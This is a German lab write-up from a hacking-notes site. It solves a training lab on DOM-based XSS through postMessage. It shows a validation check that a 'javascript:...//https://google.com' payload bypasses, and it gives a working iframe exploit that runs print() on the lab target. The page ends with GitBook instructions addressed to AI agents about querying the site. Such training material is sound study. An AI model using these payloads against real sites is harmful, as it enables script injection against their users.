> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/dom/dom-xss-via-web-messages-and-javascript-url.md).

# DOM-XSS über Web-Nachrichten und eine JavaScript-URL

### DOM-XSS mit Web Messages und einer JavaScript-URL

Labor, das eine DOM-Schwachstelle demonstriert, die Umleitung/Ausführung über `postMessage`. Das Ziel: Erstelle eine HTML-Seite auf dem Exploit-Server, die eine Nachricht sendet, um `print()` in der Zielseite auszuführen.

```javascript
<script>
window.addEventListener('message', function(e) {
var url = e.data;
if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) {
    location.href = url;
    }
}, false);
</script>
```

Die Zielseite lauscht auf gesendete Nachrichten und behandelt die empfangenen Daten als URL. Wenn die empfangene Zeichenfolge `HTTP:` oder `https:`, leitet die Seite weiter (`location.href`) zu diesem Wert. Der Code auf der Zielseite sieht wie folgt aus:

```javascript
window.postMessage('https://jord4n.pro', '*');
```

löst erfolgreich eine Weiterleitung zu `https://jord4n.pro`.

<figure><img src="/files/17c306d44d4d89919696b0c24bb6ca3cd3469fc8" alt=""><figcaption></figcaption></figure>

### Umgehung der Validierung

Die Validierung blockiert nur Zeichenfolgen, die nicht enthalten `HTTP:` oder `https:` (Prüfung über `indexOf`). Die `indexOf > -1` -Logik wird daher ausgenutzt, indem nach einem `//https://...` -Teil nach einem `JavaScript:` Scheme angehängt wird, sodass die Bedingung erfüllt ist, während eine URL erhalten bleibt, die mit `JavaScript:`beginnt. Zum Beispiel:

```javascript
window.postMessage('javascript:alert(0)', '*');
```

* Um einen Alert zu öffnen:

```javascript
window.postMessage('javascript:alert(0)//https://google.com', '*');
```

<figure><img src="/files/ef5ff748be61575e280e401426c74b08223f2bd5" alt=""><figcaption></figcaption></figure>

* Um `print()`:

```javascript
window.postMessage('javascript:print()//https://google.com', '*');
```

Das `//https://google.com` -Teil wird nur verwendet, um die `indexOf('https:') > -1` -Bedingung zu erfüllen.

<figure><img src="/files/cab80dd61f4f1d4af67a9b48a5098e5a811d861d" alt=""><figcaption></figcaption></figure>

#### Finaler Exploit

Die Angriffsseite kann ein iframe zur verwundbaren Seite enthalten und beim Laden die schädliche Nachricht an den eingebetteten Inhalt senden. Beispiel einer Implementierung, die auf dem Angriffsserver platziert werden soll:

{% code overflow="wrap" %}

```javascript
<iframe
  src="https://0a3c00e80375c1ca825c9cec00b50011.web-security-academy.net/"
  width="500"
  height="500"
 onload="this.contentWindow.postMessage('javascript:print()//https://google.com', '*'); "
</iframe>
```

{% endcode %}

<figure><img src="/files/0c0ae99bb1ecb46a6ee0c3964f481e6af6172008" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/dom/dom-xss-via-web-messages-and-javascript-url.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
